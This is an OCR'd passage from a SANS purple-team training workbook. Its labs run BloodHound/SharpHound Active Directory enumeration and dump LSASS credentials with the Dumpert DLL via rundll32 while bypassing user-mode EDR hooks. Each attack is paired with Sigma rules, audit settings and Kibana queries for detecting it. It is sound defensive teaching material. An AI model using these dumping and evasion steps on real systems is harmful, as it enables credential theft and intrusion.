U1t rididi NtCreateFile + (14 e Td 1014 U 11 Syscallexe  Syscallexe = {1183

U 12 Symcallexe  Syscallexe < 1112 e AEITeT1112

Congratulations, you just bypassed the Windows Native API! As you can observe, this lab
outlines the importance of performing kernel-level hooking instead of user-mode hooking for
security products.

Should ProcMon leverage user-mode hooking, we wouldn't have been able to see past the
ntoskrnl.exe on the left while the event on the right wouldn't even have been detected.

Objective 2: Detecting the Bypass

Similar to the detection of child-parent spoofing and command-line argument spoofing,
detecting this advanced technique would require detailed tracing of calls and kernel-level
visibility. Although solutions do exist in theory, applying them is not very practical and hard to
achieve in enterprise environments.

Conclusions

During this lab, we demonstrated how direct syscalls can be used to evade security products
that rely on user-mode hooking.

As we observed, detection of these tricks is not that straightforward and will require in-depth
visibility on the OS, using for example ETW (Event Tracing for Windows).
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As this is the final lab of the day, please destroy your lab environment using the below
commands from your student VM:

cd /home/student/Desktop/SEC699-LAB
. /manage.sh

Day 3: Advanced Active Directory and
Kerberos Attacks

Exercise 1: Analyzing BloodHound Attack Chains

In the first lab of today, we'll analyze how BloodHound works and how we can possibly detect
its behavior in an environment!

BloodHound

BloodHound is a single page JavaScript web application built on top of Linkurious and
compiled with Electron, with a Neo4j database fed by a C# data collector.

BloodHound uses graph theory to reveal the hidden and often unintended relationships
within an Active Directory environment. Attackers can use BloodHound to easily identify
highly complex attack paths that would otherwise be impossible to quickly identify.
Defenders can use BloodHound to identify and eliminate those same attack paths. Both
blue and red teams can use BloodHound to easily gain a deeper understanding of
privilege relationships in an Active Directory environment.

BloodHound is developed by @_wald0O, @CptJesus, and @harmj0y.

Source: github.com/BloodHoundAD

Lab Setup and Preparation

As this is the first lab of the day, please open your local student VM and run the following
commands to spin up your environment:

cd /home/student/Desktop/SEC699-LAB
./manage.sh deploy -t [version_tag] -r [region] -r [region]

Next, please open an RDP session to your CommandoVM.
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Objective 1: Running BloodHound

BloodHound works by aggregating data from multiple endpoints (using collectors) into a
centralized graph database. We will first aggregate the data on an endpoint before ingesting
and analyzing it from our Commando machine.

Step 1: Get SharpHound

Multiple collectors exist for BloodHound ranging from PowerShell to compiled binaries. As we
aim to make a quick collection, we will rely on the BloodHound-provided binary "SharpHound"
collector. You can find the binary on your CommandoVM in
C:\Tools\SharpHound\SharpHound.exe . Unfortunately, the default CommandoVM version of
BloodHound requires .NET Framework 3.5 and our machines use 4.5.

As we wanted to save you some time, we've already compiled SharpHound for you here. Please
download the executable and save it on your CommandoVM. When downloading, make sure
that Chrome or another browser does not flag the executable as dangerous. In the case of MS
Edge, you can keep the dowload. This process is documented in the errata section.

As we are aiming to collect end-point information, start by opening an unprivileged RDP
connection to a domain-joined machine. Let's again use WIN10 ( 192.168.20.105 ) using the
SEC699-20\student user (password Sec699!! ). Once opened, copy / paste your new
SharpHound executable on the target host. You can paste it in the
C:\Users\student\Downloads folder:

/22020123 A0 Bpplicatiiin
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Once done, double-click the executable to start the collection.

You might see a prompt open, which is a sign the collection runs.

Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps,
LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain SEC699-40.LAB using path
CN=Schema,CN=Configuration,DC=SEC699-40,DC=LAB
[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS

Status: 0 objects finished (+0) -- Using 20 MB RAM

Status: 85 objects finished (+85 42.5)/s —-- Using 28 MB RAM
Enumeration finished in 00:00:02.0250454

Compressing data to .\20200402042648_BloodHound.z1ip

You can upload this file directly to the UI

SharpHound Enumeration Completed at 4:26 AM on 4/2/2020! Happy Graphing!

As soon as the collection has terminated, you should see the mentioned ZIP archive in the
same folder as SharpHound. Retrieve the archive by copy/pasting it from the RDP session to
your CommandoVM machine.
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Step 2: Run BloodHound

With the data collected, let's visualize it so we can perform some analytics. On your
CommandoVM machine, proceed to run BloodHound from C:\Tools\BloodHound\BloodHound-
win32-ia32\BloodHound.exe

Once BloodHound has started, you will be prompted to fill in credentials to the Neo4j graph
database. This database is pre-deployed on our C2 stack (bolt://192.168.20.107:7687 ) and
uses the neo4j user (password sec699 ). Once you have completed the details, feel free to
save the password and press the bottom-right "Login" button.

AN

W PR
U

BLOODHOUND

Log into Neodj Database

Database URL bolt://192.168.45.7:7687

LB Usarname neod

DB Password

Save Password

Step 3: Ingest Collected Data

With BloodHound ready, let's proceed to ingest our collector's data. To do so, click the "Upload
Data" icon:
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From the opened window, select the archive you retrieved from the collected endpoint and
press "Open”.

As shown below in the right-pane, the data will be processed and the progress will be clearly
indicated:
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Step 5: Query the Graph

As soon as the data is processed, we can start using the graph queries. From BloodHound's
"Queries" tab, feel free to try any of the queries that might be of interest. One of these queries
is the "Shortest Paths to Unconstrained Delegation Systems" which is a topic we will cover later. As
indicated by the Instructor during lecture, several more advanced queries exist and you can
even develop your own!
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Shortest Paths to Uncanstrained Delegation Systems

As an example, below is the graph produced by the "Shortest Paths to Unconstrained Delegation
Systems" query. Feel free to experiment a bit. Why not try out some of the queries referenced in

the course?

BloodHound
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It's important to note that our domain environment is relatively small and we thus have a
limited dataset. In a true enterprise environment, the BloodHound collector would take a lot
more time to complete, but there will be a lot more options for analysis. In order to "practice"
your BloodHound skills, the BadBlood project (referenced in the course) can be leveraged!

Remember to only run it in a TEST environment

BadBlood

BadBlood by Secframe fills a Microsoft Active Directory Domain with a structure and
thousands of objects. The output of the tool is a domain similar to a domain in the real
world. After BadBlood is run on a domain, security analysts and engineers can practice
using tools to gain an understanding and prescribe to securing Active Directory. Each time
this tool runs, it produces different results. The domain, users, groups, computers, and
permissions are different. Every. Single. Time.

Source: github.com/davidprowe/BadBlood

Objective 2: Detecting BloodHound

Step 1: Required Log Sources

Sysmon

Event ID 1: Process creation

The process creation event provides extended information about a newly created
process. The full command line provides context on the process execution. The
ProcessGUID field is a unique value for this process across a domain to make event
correlation easier. The hash is a full hash of the file with the algorithms in the HashType

field.

Source: docs.microsoft.com

Windows Object Auditing

Event ID 4662: An operation was performed on an object

This event generates every time when an operation was performed on an Active Directory
object. This event generates only if appropriate SACL was set for Active Directory object
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and performed operation meets this SACL. If operation failed, then Failure event will be
generated. You will get one 4662 for each operation type that was performed.

Source: docs.microsoft.com

Step 2: Detection Logic

Detecting BloodHound can be done at multiple levels. The simplest approach is to target the
binaries and arguments themselves. Although this approach can be tempting, evading
detection is as trivial as compiling our own tool. As an example, below is a Sigma rule detecting
BloodHound itself (i.e., not its behavior):
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title: Bloodhound and Sharphound Hack Tool
id: f376c8a7-a2d0-4ddc-aabc-16c17236d962
description: Detects command line parameters used by Bloodhound and Sharphound
hack tools
author: Florian Roth
references:
- https://github.com/BloodHoundAD/BloodHound
- https://github.com/BloodHoundAD/SharpHound
date: 2019/12/20
modified: 2019/12/21
tags:
- attack.discovery
- attack.t1087
logsource:
category: process_creation
product: windows
detection:
selectionl:
Image|contains:
- '"\Bloodhound.exe'
- '"\SharpHound.exe'
selection2:
CommandLine|contains:
- ' -CollectionMethod A1l '
- '.exe -c All -d '
- 'Invoke-Bloodhound'
- 'Get-BloodHoundData'

selection3:
CommandLine|contains]|all:
- ' -JsonFolder '
- ' -ZipFileName '
selection4:
CommandLine|contains]|all:
- ' DCOnly '
- ' -—-NoSaveCache '

condition: 1 of them
falsepositives:

- Other programs that use these command line option and accepts an 'All'
parameter
level: high

Alternatively, a more robust detection approach is to monitor the Active Directory for events of
a user reading another user's properties. As this detection method is preferred (it detects
alternative tools that use a similar approach), we will guide you through this detection
mechanism:

Step 1: Connecting to the DC

This advanced level of logging is disabled by default in a domain. As we will need to make
changes in the Active Directory, proceed to RDP to the Domain Controller (192.168.20.101)

using the privileged student_dadm domain administrator account (password Sec699!!).
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Step 2: Audit User Objects

Once logged in, click the "Tools" menu in the "Server Manager" window. From there, proceed to
click the "Active Directory Users and Computers" entry.

Active Directory Users and Computers

From the opened "Active Directory Users and Computers" window, open the "View" menu to
enable the "Advanced Features".
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In the left pane, open your sec699-20.1ab domain and locate the "Users" container as we wish
to monitor them all.
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Once the container is right-clicked, select the "Properties” option to access the "Users
Properties".
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In the "Security" tab, access the advanced settings using the "Advanced" button.
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We will then move to the "Auditing” tab in the "Advanced Security Settings for Users" window from
where we can click the "Add" button.
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In our new "Auditing Entry for Users", click the "Select a principal" link to choose on whom this will
apply.
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Select a primcrpal

In the outlined box, enter Everyone as name, followed by a click on the "Check Names" button.

If the check was successfull, the "Everyone" entry should be underlined and we can press the
"OK" button to confirm.
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With our principal selected, let's move on to set the audit type to A1l as we aim to detect both
success and failure.

In the bottom pane, scroll all the way down until you see a "Clear all" button which you may
press to erase the defaults.
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Once clicked, scroll back a few screens until you find the "Properties” section, not to be
confused with the "Permissions” section. Once located, check the "Read all properties” check-box
as visible below.
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Properties:
[JRead all prop

If done properly, all read events on any of the properties should now be enabled for auditing. If
you have a similar-looking screen, confirm the changes by pressing the "OK" button.
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Auditing Entry for Users

Properties:

[ Read all properties

[Tl 4rite all properties

[F]Read isRecyclad

[C]irite isRecycled

Read rmsCOM-FartitionSetbink

1 Read msCOM-Usetlink

[#] Read msDFSR-ComputerReferenceBl

[ Read msDFSR-MernberReferenceBL

Read m:DS-Approx-lmmed-Subordinates
[ 1Wdrite misDS-Spprox-lmrmed-Subardinates
Read rms05-Authenticated ToAccountlist
Read msDE-ClaimShiaresPossiblevaluzswithBL
Read msD3-Claudfnchor

[ vidrite rris05-Cloudfnchiar

[] Read m:DE-EnabledFeatureBL

[ Read m3DS-HostServicedccauntBL

Read msDs-lsDomainFor

[Z Read msDS:sFullReplicaFar

Read m30S5-1sPartialReplicaFar

Read risDE-1sPrimaryComputerFor

Read msDS-KrbTatbinkBl

[ Read msDE:LastknownRDR

[ MrrtesmsDE-LastkriowrR DN

TAD andimn sl L cm s | B o i lalabionTive s

Read msDS-McType

[Tl 'Write msDS-MeType

Read m3sDS-MonMembersBL

Read msD3-ObjectReference
[]\Write msDS-CibjectReference

[~ Read misDS-OhjectReferenceBl

[] Read msDS-ObjectSoa

[CTwérite m3DS-ObjectSoa

Read m3DE-0I0TaGraupLinkBl

[ Read msDE0OperationsForfzRoleBL
Read mi:DS-OperatiorsFordzTaskBL
[ Read msDS-parentdistame
[CIwrite msDS-parentdistname:

[ Read rmsDS-PrincipalMarme

[ WirtemsDE-PrincipalName

Read m3sDS-PE0&ppled

Read miDs-ReplttibuteMetaliata
[C1'Write msDS-RepléttributetdetaData
Read m3DS-ReplialuetetaData
[C]¥yite msDE-RaplyaluetdetaData
Read misD5-ReplivaluehetaDatabxt
[C1vifrite msDiS-Replvaluehtetaliatabt
[] Read msDS-RevealedDSis
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Carical

Back in the "Advanced Security Settings for Users" tab, a new entry should audit "All" events
related to "Everyone" performing a "Read all properties".
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Congratulations, you just enabled one of the most adavanced forms of Active Directory logging!
Confirm your changes by pressing "Apply” followed by "OK" and close the RDP session.

Step 3: Replaying the Attack Again
As the SharpHound collector ran without us having any propper logging, repeat the steps from

the previous objective and re-execute SharpHound.exe . There is no need to ingest the
collected data as just running the collector should trigger the events.

Step 4: Analyzing the Results

Back on our CommandoVM, access your Kibana at http://192.168.20.106:5601 .

We will now be looking at identifying traces of an Active Directory enumeration as shown in the
following Sigma rule.
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title: AD User Enumeration
id: ab6bffca-beff-4baa-af11-6733f296d57a
description: Detects access to a domain user from a non-machine account
status: experimental
date: 2020/03/30
author: Maxime Thiebaut (@OxThiebaut)
references:
- https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
- http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html
- https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all # For
further investigation of the accessed properties
tags:
- attack.discovery
- attack.t1087
logsource:
product: windows
service: security
definition: Requires the "Read all properties" permission on the user object
to be audited for the "Everyone'" principal
detection:
selection:
EventID: 4662
ObjectType|contains: # Using contains as the data commonly is structured
as "%{bf967aba-0de6-11d0-a285-00aal0@3049e2}"
- 'bf967aba-0de6-11d0-a285-00aa003049e2' # The user class
(https://docs.microsoft.com/en-us/windows/win32/adschema/c-user)
filter:
- SubjectUserName|endswith: '$' # Exclude machine accounts
- SubjectUserName|startswith: 'MSOL_' # https://docs.microsoft.com/en-
us/azure/active-directory/hybrid/reference-connect-accounts-permissions#ad-ds-
connector-account
condition: selection and not filter
falsepositives:
- Administrators configuring new users.
level: medium

If we translate the above rule, we are looking for the new events we log with ID 4662 where
the object type is the AD schema "User" class. To reduce the amount of false-positives, we will
furthermore only look at non-machine accounts (not ending with the $ sign) and exclude the
Azure Active Directory accounts (starting with MsoL_).

Translated into a query for our environment, the query would look as follows.

event.code: "4662" and winlog.event_data.ObjectType: *bf967aba-0de6-11d0-a285-
002a003049e2* and not winlog.event_data.SubjectUserName: *$

Once executed in Kibana, we can observe the surge around the time we ran our attack, even
though some false-positives are also observed over time.
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Step 5: Fine-Tuning the Conditions

As the events we detected also include the read properties, let's proceed to fine-tune the rule.
Although we could exclude read properties, this approach has the downside of potentially
excluding true positives as properties can be read in bulk.

As an example, we could look for events where the "Admin-Count" property was accessed. From
the following definition, you might understand why BloodHound searches for this property.

Indicates that a given object has had its ACLs changed to a more secure value by the
system because it was a member of one of the administrative groups (directly or
transitively).

Source: docs.microsoft.com

As events only include the property's GUID, let's extend our query with the Admin-Count GUID
of bf967918-0de6-11d0-a285-00a2a003049¢2 .

event.code: "4662" and winlog.event_data.ObjectType: *xbf967aba-0de6-11d0-a285-
00aa003049e2+ and not winlog.event_data.SubjectUserName: *$ and
winlog.event_data.Properties: *bf967918-0de6-11d0-a285-002a003049e2*

If executed again in Kibana, you can observe how our rule now precisely detects when an
insider-threat is performing Active Directory reconnaisance using BloodHound.

a0 3600
iinutes

@timestamp per 30 m

Conclusions

During this lab, we demonstrated the following highly useful skills:

e How to leverage BloodHound for AD enumeration
e Advanced strategies for BloodHound detection

As we observed, there's a few alternative methods to detect BloodHound, but the most robust
one is to use the Object Auditing settings that can be configured on the Active Directory!
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After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 2: Stealing Credentials from LSASS

Credential stealing (dumping) can take place in a variety of ways, many of which are described
in technique T1003 of the MITRE ATT&CK framework. We will focus on credential dumping that
abuses the LSASS process!

T1003 - Credential Dumping

Credential dumping is the process of obtaining account login and password information,
normally in the form of a hash or a cleartext password, from the operating system and
software. Credentials can then be used to perform Lateral Movement and access
restricted information.

After a user logs on to a system, a variety of credentials are generated and stored in the
Local Security Authority Subsystem Service (LSASS) process in memory. These credentials
can be harvested by a administrative user or SYSTEM.

SSPI (Security Support Provider Interface) functions as a common interface to several
Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library
(DLL) that makes one or more security packages available to applications.

The following SSPs can be used to access credentials:

e Msv: Interactive logons, batch logons, and service logons are done through the MSV
authentication package.

e Wdigest: The Digest Authentication protocol is designed for use with Hypertext
Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.

o Kerberos: Preferred for mutual client-server domain authentication in Windows
2000 and later.

e CredSSP: Provides SSO and Network Level Authentication for Remote Desktop
Services.

Source: attack.mitre.org

This exercise will introduce several mechanisms to dump LSASS and ways to detect it!
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Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Dumping LSASS

We will start this exercise by creating a dump of the LSASS process. As this is a SANS 6-level
course, we assume most students will have played around with a variety of LSASS credential
dumping tools already:

e Windows Credentials Editor
PwDump / FgDump
ProcDump

Mimikatz

To keep things fresh, we will use a relatively new tool called bumpert, which has a few
additional advantages:

e |t can be executed in a DLL form
e |tleverages direct syscalls to avoid user-mode hooking by endpoint security products

Dumpert

Dumpert, an LSASS memory dumper using direct system calls and APl unhooking Recent
malware research shows that there is an increase in malware that is using direct system
calls to evade user-mode API hooks used by security products. This tool demonstrates the
use of direct System Calls and APl unhooking and combine these techniques in a proof of
concept code which can be used to create a LSASS memory dump using Cobalt Strike,
while not touching disk and evading AV/EDR monitored user-mode API calls.

More info about the used techniques can be found on the following Blog:
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-
srdi-to-bypass-av-edr/

Source: github.com/outflanknl/Dumpert

Step 1: Open the Dumpert source code
© 2021 NVISO and James Shewmaker 295


https://technet24.ir

The Dumpert source code has already been included on our CommandoVM. Please open an
explorer window and navigate to C:\Tools\Dumpert.Dumpert supports multiple forms of
execution such as an executable or dynamic link library (DLL). Let's be original and go for the
DLL-based approach. To do so, open the bDumpert-DLL folder.

l ] l 5 | C\Tools\Dumpert\Dumpert-DLL

File Home Share View
<« v N l This PC Local Disk (C:) Tools Dumpert Dumpert-DLL
. SoftwareDistribution Name Date modified Type

. = VS 17 8 PM File folder

@ Start Menu . Outflank-Dumpert-DLL /2 56 PM File folder

g Templates l x64 /17 M File folder

B UsOPrivate Outflank-Dumpert-DLL.sln Visual Studio Solu...
| usOShared

Locate the outflank-Dumpert-DLL.sln solution and double-click it to open it in Visual Studio
2019. It's always a good idea to try rebuilding tools available in CommandoVM, as the
Chocolatey packages installed are based on source code (and not compiled binaries).

You may receive a warning message indicating you'll need elevated permissions:

Microsoft Visual Studio

Do you want to restart the application with elevated permissions?

The solution or project you want to open is located in a directory that this application does
not have permission to work in. If you grant permission by using the User Account Control
feature of your operating system, the application may be able to complete the requested
tasks.

@ Restart this application under different credentials
Saves the current changes and then restarts the application. You will be prompted
to change your user account,

—> Ignore
Does not elevate user rights, and continues to run this application under the

current user rights.

If this happens, please select Restart this application under different credentials.
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Step 2: Building the Dynamic Link Library

Once you open the project, you might get prompted to retarget the project against a more
recent version of Windows. Accept by pressing the outlined ok button.

If you wish to inspect the source-code, you can do so by accessing the main bumpert.c file
located under the Source Files repository.

Once you are satisfied with your analysis of the source code, we can proceed with the building
process. First, make sure you are targeting the x64 architecture.
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Please also make sure you are creating a "Release" build, not a "Debug" build. This can be
simply changed in the Visual Studio drop-down list.

;%f.ﬂ'ﬁ].ﬂ""ﬁi_ﬂ'fl':’*("'[R.daasev x64 =

™
o
=

Once configured, select the "Build Solution" entry in the "Build" menu.
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4 Build Selution Ctrl+Shift +8

After a couple of seconds, you should either:

e Receive a successful build message
e Receive an indication that the compiled DLL was already up to date

In both cases, the compiled DLL will be stored in C:\Tools\Dumpert\Dumpert-
DLL\x64\Release\Outflank-Dumpert-DLL.d11:

l . + | C\Tools\Dumpert\Dumpert-DLL\x64\Release
File Home Share View
<« v 4 . This PC Local Disk (C:) Tools Dumpert Dumpert-DLL > x64 Release

l PerfLogs Name Date modified Type
l Program Files

B outflank-Dumpert-DLL.dIl 410 Application extens...

B Program Files (x86) é:[] Outflank-Dumpert-DLL.exp orts
ProgramData . Outflank-Dumpert-DLL.iobj

B Python27 B Outflank-Dumpert-DLL.ipdb

l Python27.x86 Qutflank-Dumpert-DLL.lib /1 10 PNV Object File Library

l Python37

As we have done for most of the previous payloads, copy the DLL to one of the target domain
machines. We can again use WIN10 ( 192.168.20.105 ) over RDP using the SEC699-20\student
user account (password Sec699!! ). Place the DLL in a folder you will remember (i.e.
%HOMEPATH%\Downloads ).
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; | H = | Downloads

Home: Share Wiew
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— ; T I, = e - B
I—§| oy Gut & = x -jl |1 MEw item |¢| [§d Open [ sefectall
= Wi Copy path ¥ | Easyaccess ™ — Eclit - Select none
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Clipbeard Ceganize Tew Cpen Select
“— w A 4 » ThisPC » Downloads w 0 Sesrch Dowhloads )
Mame Date modified Type Sire
# Cuick access =
-| Outflank-Dumpert-BLLdI| TTp S AM Application edems,, I K8

I Desktop . | Outflank-Dumpe 45 Applicatic 3

# BPownloads o

j\ Bacuments -*

= Pictures o

D Music

B Videos
& Cnelrive
This BC
¥ Network

Titem  1item selected 115 KB

Step 3: Dumping LSASS

With our payload on the target machine, we can proceed to execute it. As touching 1lsass.exe

requires elevated privileges, we will need to run the Command Prompt as administrator. On
the target machine, search for Command Prompt .
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i Command Prompt

Bpp

2 Command Prompt

Run the following command:
runas /user:sec699-20\student_ladm "powershell.exe"

When asked for credentials, use the student_ladm local administrator account (password
Sec699!! ) and press enter .

In the new privileged Command Prompt, proceed to run the DLL using rund1132.exe . To do
so, run the following command:

rundll32.exe C:\Users\student\Downloads\Outflank-Dumpert-DLL.d1l1l,Dump

Once the command is executed, you should be able to locate the 1sass.exe dump at the
following path:

C:\Windows\Temp\dumpert.dmp
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E¥ Administraton powershelliexe {running as secf89-200student ladm) = O X

ConfigSetup 64.1og

Bonus Step: Extracting Credentials

Congratulations! You successfully dumped the LSASS process... If you have time left, feel free to
validate your dump by moving it to your CommandoVM machine and extrating credentials
using Mimikatz!

Objective 2: Detecting LSASS dumping

A first, simple approach could be to attempt detecting this technique by looking for typical
LSASS dumping tools and their command-line arguments. Several Sigma rules exist that
attempt this:

Example sigma rule to detect ProcDump
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title: Suspicious Use of Procdump
id: 5afee48e-67dd-4e03-a783-f74259dcf998
description: Detects suspicious uses of the SysInternals Procdump utility by using
a special command line parameter in combination with the 1lsass.exe process. This
way we're also able to catch cases 1in which the attacker has renamed the procdump
executable.
status: experimental
references:
- Internal Research
author: Florian Roth
date: 2018/10/30
modified: 2019/10/14
tags:
- attack.defense_evasion
- attack.t1036
- attack.credential_access
- attack.t1003
- car.2013-05-009
logsource:
category: process_creation
product: windows
detection:
selectionl:
CommandLine:
- ' -ma *l
selection2:
CommandLine:
- 'x lsass*'
selection3:
CommandLine:
- 'x —-ma ls*'
condition: ( selectionl and selection2 ) or selection3
falsepositives:
- Unlikely, because no one should dump an lsass process memory
- Another tool that uses the command line switches of Procdump
level: high

Example sigma rule to detect Mimikatz
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title: Mimikatz Command Line
id: a642964e-bead-4bed-8910-1bb4d63e3b4d
description: Detection well-known mimikatz command line arguments
author: Teymur Kheirkhabarov, oscd.community
date: 2019/10/22
references:
- https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-
windows—-environment
tags:
- attack.credential_access
- attack.t1003
logsource:
category: process_creation
product: windows
detection:
selection_1:
CommandLine|contains:
- DumpCreds
- dinvoke-mimikatz
selection_2:
CommandLine|contains:
- rpc
- token
- crypto
- dpapi
- sekurlsa
- kerberos
- Llsadump
- privilege
- process
selection_3:
CommandLine|contains:
—_ 1 el
condition: selection_1 or
selection_2 and selection_3
falsepositives:
- Legitimate Administrator using tool for password recovery
level: medium
status: experimental

While these are not bad rules, they are not that hard to bypass (e.g., by using a different tool or
by adapting the tool source code and changing the command-line flags). As always, we want to
detect the actual technique, not the tool! Dumping LSASS will require processes to interact with
the LSASS process. This opens up a number of interesting detection opportunities!

In order to execute this part of the lab, please exit all RDP sessions you may still have open and
fall back to your CommandoVM machine.

Step 1: Required Log Sources

Sysmon
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Event ID 10: Process Access

The process accessed event reports when a process opens another process, an operation
that's often followed by information queries or reading and writing the address space of
the target process. This enables detection of hacking tools that read the memory contents
of processes like Local Security Authority (Lsass.exe) in order to steal credentials for use
in Pass-the-Hash attacks. Enabling it can generate significant amounts of logging if there
are diagnostic utilities active that repeatedly open processes to query their state, so it
generally should only be done so with filters that remove expected accesses.

Source: docs.microsoft.com

Step 2: Detection Logic

Due to its impact and popularity of the technique, credential dumping from 1sass.exe has
long been a key priority for security analysts. So how can we build our detection logic? Let's
summarize the facts:

e We are looking for processes that attempt to access LSASS (sysmon event ID 10)
e Several built-in Microsoft tools will interact with LSASS, which we'll have to whitelist
e Many of the dumping tools use a specific access mask ( GrantedAccess )

An example community rule can be found below; you will recognize the different parts of our
detection logic:
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title: Credentials Dumping Tools Accessing LSASS Memory
id: 32d0d3e2-e58d-4d41-926b-18b520b2b32d
status: experimental
description: Detects process access LSASS memory which is typical for credentials
dumping tools
author: Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich,
Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey
Potapov,

oscd.community (update)
date: 2017/02/16
modified: 2019/11/08
references:

- https://onedrive.live.com/view.aspx?
resid=D026B4699190F1E6!2843&ithint=f1ile%2cpptx&app=PowerPoint&authkey=!AMvVCRTKB_V13JE

- https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-
hunting-for_22.html
- https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-
windows—environment
- http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-
Ueltschi_Sysmon_FINAL_notes.pdf
tags:
- attack.t1003
- attack.s0002
- attack.credential_access
- car.2019-04-004
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x40'
- 'Ox1000'
- 'Ox1400'
- '0x100000'
- 'Ox1410'
- '0x1010"'
- '0x1438'
- 'Ox143a'
- '0x1418'
- 'ox1fefff'
- 'Ox1f1fff'
- 'ox1f2fff!'
- 'Ox1f3fff!
filter:
ProcessName|endswith: # easy to bypass. need to implement supportive rule
to detect bypass attempts
- '"\wmiprvse.exe'
"\taskmgr.exe'
'"\procexp64.exe'

'"\procexp.exe'
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- "\lsm.exe'
- '\csrss.exe'
- "\wininit.exe'
- '"\vmtoolsd.exe'
condition: selection and not filter
fields:
- ComputerName
- User
- SourcelImage
falsepositives:
- Legitimate software accessing LSASS process for legitimate reason; update
the whitelist with 1t
level: high

Step 3: Analyzing our environment
From our ELK stack's Kibana (http://192.168.20.106:5601 ), let's try to identify the events that
took place. To do so, please go to the "Discover" view (compass icon) and use the following

simple search first:

event.code:10 and winlog.event_data.TargetImage:*lsass.exe

N

. Discover ® ™=

New Save Open Share Inspect

® [E) v event.code:10 and winlog.event_data.Targetimage:*Isass.exe KQL ' This week Show dates C Refresh
®  +Add filter
[
i
- winlogbeat-* v 54,140 hits
Q Apr 12, 2020 @ 00:00:00.000 - Apr 18, 2020 @ 23:59:59.999 —  Auto v
12000
® Filter by type (] e
0000
&
- 8000
Selected fields E
3 6000
&9 o
<> _source 4000
2000
£ Available fields .
R Popular 2020-04-12 00:00 2020-04-13 00:00 2020-04-14 00:00 2020-04-15 00:00 2020-04-16 00:00 2020-04-17 00:00 2020-04-18 00:00
t process.executable @timestamp per 3 hours
© t process.name Time « -source
<) t process.parent.exec... > Apr 12, 2020 @ 13:12:39.859  winlog.event_data.TargetImage: C:\Windows\system32\lsass.exe event.code: 18 @timestamp: Apr 12, 2028 @
Y i orotessparitee 13:12:39.859 message: Process accessed: RuleName: UtcTime: 2028-84-12 18:12:39.859 SourceProcessGUID: {983beff7-
daB4-5e91-0888-001041780981} SourceProcessId: 1972 SourceThreadId: 4976 SourceImage: C:\Windows\system32
7] tiwinlog.eventiid \taskmgr.exe TargetProcessGUID: {983beff7-8bf5-5¢90-0000-0010017a0000} TargetProcessId: 596 TargetImage:
& @timestamp C:\Windows\system32\lsass.exe GrantedAccess: 8x140@ CallTrace: C:\Windows\SYSTEM32\ntd1l.d11+9fc24|C:\Windows
[

You'll notice many, many hits (probably a few thousands). As previously discussed, many
benign applications interact with Isass.exe as well, hence the result. Let's immediately zoom in
on our actual payload to see if we can identify any interesting properties that can help us build
a good detection rule. We'll look for LSASS access by rundl132.exe:

event.code:10 and winlog.event_data.TargetImage:*lsass.exe and
process.name:"rundl132.exe"
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K . Discover (s} B
New Save Open Share Inspect
[2) v event.code:10 and winlog.event_data.Targetimage:*Isass.exe and process.name:"rundli32.exe" KQL v This week Show dates
®
@  + Add filter
H
winlogbeat-* 12 hits
& Q Apr 12, 2020 @ 00:00:00.000 - Apr 18, 2020 @ 23:59:59.999 —  Auto v
® Filter by type 0 %
e o
Selected fields 5
o0 3 6
& °
< _source 4
2
S Available fields R
SN Poputar 2020-04-12 00:00 2020-04-13 00:00 2020-04-14 00:00 2020-04-15 00:00 2020-04-18 00:00 2020-04-17 00:00 2020-04-18 00:00
t process.executable @timestamp per 3 hours
o t process.name Time « -source
g t process.parent.execut... > Apr 12, 2028 © 13:10:16.353  yinlog.event_data.TargetImage: C:\Windows\system32\lsass.exe event.code: 10 process.name: rundll32.exe @timestamp: Apr
® ¥ procesaparentname 12, 2020 @ 13:10:16.353 ecs.version: 1.4.8 winlog.api: wineventlog winlog.opcode: Info winlog.provider_name: Microsoft-
Windows-Sysmon winlog.record_id: 118313 winlog.provider_guid: {577@385f-c22a-43e@-bf4c-86f5698ffbd9}
7] F Winiogevont.id winlog.event_data.TargetProcessGUID: {983beff7-8bf5-5¢90-0660-0010017a6008) winlog.event_data.GrantedAccess: @x1fffff
B @timestamp winlog.event_data.TargetProcessId: 596 winlog.event_data.CallTrace: C:\Windows\SYSTEM32\ntd1ll.d11+9fc24|C:\Windows
o
<
t _id > Apr 12, 2628 @ 13:18:16.337  yinlog.event_data.TargetImage: C:\Windows\system32\lsass.exe event.code: 18 process.name: rundl132.exe @timestamp: Apr
& % index 12, 2020 @ 13:10:16.337 ecs.version: 1.4.8 agent.version: 7.6.1 agent.type: winlogbeat agent.ephemeral_id: 89317dec-
_i
20857-4af@-a3d5-b64dd3dfe638 agent.hostname: win1@ agent.id: 9692b7de-ch68-4d88-a829-80181d27d421 message: Process
2 acore accessed: RuleName: UtcTime: 20820-84-12 18:18:16.337 SourceProcessGUID: {983beff7-5988-5¢93-0000-00108fba7304}
t _type SourceProcessId: 6988 SourceThreadId: 3612 SourceImage: C:\Windows\system32\rundl132.exe TargetProcessGUID:

This returns a much more limited number of results. In our example, we have 12, but they are
all related to Dumpert activity. The course author executed the DLL a few times just to be sure.

)

Let's expand the details of one of these events. You'll likely already spot the Dumpert.dll
reference in the "CallTrace". An interesting property you could identify regardless of the tool
name, however, is the "GrantedAccess" mask, which value is ox1fffff . If you remember the
